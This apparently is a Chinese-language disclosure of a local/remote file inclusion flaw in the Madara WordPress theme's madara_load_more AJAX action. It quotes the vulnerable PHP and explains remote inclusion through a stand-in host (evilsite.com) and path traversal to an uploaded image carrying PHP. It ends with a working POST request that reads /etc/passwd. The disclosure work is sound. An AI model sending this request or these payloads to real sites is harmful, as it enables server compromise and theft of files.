漏洞存在于 madara 的 madara_load_more 操作中,template 参数来自用户的任意数据,并被传递给 PHP 的 include 函数。
漏洞存在于 madara 的 madara_load_more 操作中,template 参数来自用户的任意数据,并被传递给 PHP 的 include 函数。
相关漏洞代码如下:
add_action( 'wp_ajax_madara_load_more', array( $this, 'ajax_load_next_page' ) );
add_action( 'wp_ajax_nopriv_madara_load_more', array( $this, 'ajax_load_next_page' ) );
...
function ajax_load_next_page() {
...
if ( $query->have_posts() ) {
while ( $query->have_posts() ) {
$query->the_post();
$madara_loop_index ++;
set_query_var( 'madara_loop_index', $madara_loop_index );
if ( $madara_loop_index < $posts_per_page + 1 ) {
if ( ( strpos( $template, 'plugins' ) !== false ) ) {
include( $template ); // we are in wp-content\themes\madara\app\{plugins} VULN
} else {
//$post_format = get_post_format() ? get_post_format : '';
get_template_part( $template, get_post_format() );
}
}
}
if ( $query->post_count <= $posts_per_page ) {
// there are no more posts
// print a flag to detect
echo '<div class="invi no-posts"><!-- --></div>';
}
} else {
// no posts found
}
/* Restore original Post Data */
wp_reset_postdata();
die( '' );
}
每次成功执行 madara_load_more 查询时,通过 template 传入的模板都会连同结果一起被渲染。如果在 template 参数中检测到字符串 plugins,输入将原样传递给 include;如果不存在,WordPress 将自行查找模板。
我们可以利用这一点来查询任意文件,如果启用了 allow_url_include,可以通过 https://evilsite.com/plugins/evil.php;或者通过路径遍历。由于执行此操作时的当前目录是 wp-content/themes/madara/app/,并且存在 plugins 目录,因此我们可以包含类似 plugins/../../../../../wp-content/uploads/evil.png 的内容。
根据 allow_url_include 的配置,此漏洞可以被利用。
如果启用了该选项,恶意攻击者可以搭建一个 HTTP 服务器,在收到包含字符串 plugins 的请求时返回恶意的 PHP 脚本。
如果禁用了该选项,恶意攻击者可以通过其他方式向 WordPress 实例上传包含 PHP 字符串的文件(如图像 EXIF 元数据、图像像素数据等),并包含该文件。这样,图像数据不会作为 PHP 被解释,只有标签之间的 PHP 代码会被执行。
这可能导致 RCE 或 LFI。

POST /wp-admin/admin-ajax.php HTTP/2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 490
action=madara_load_more&page=1&template=plugins/../../../../../../../etc/passwd&vars%5Borderby%5D=meta_value_num&vars%5Bpaged%5D=1&vars%5Btimerange%5D=&vars%5Bposts_per_page%5D=16&vars%5Btax_query%5D%5Brelation%5D=OR&vars%5Bmeta_query%5D%5B0%5D%5Brelation%5D=AND&vars%5Bmeta_query%5D%5Brelation%5D=AND&vars%5Bpost_type%5D=wp-manga&vars%5Bpost_status%5D=publish&vars%5Bmeta_key%5D=_latest_update&vars%5Border%5D=desc&vars%5Bsidebar%5D=right&vars%5Bmanga_archives_item_layout%5D=big_thumbnail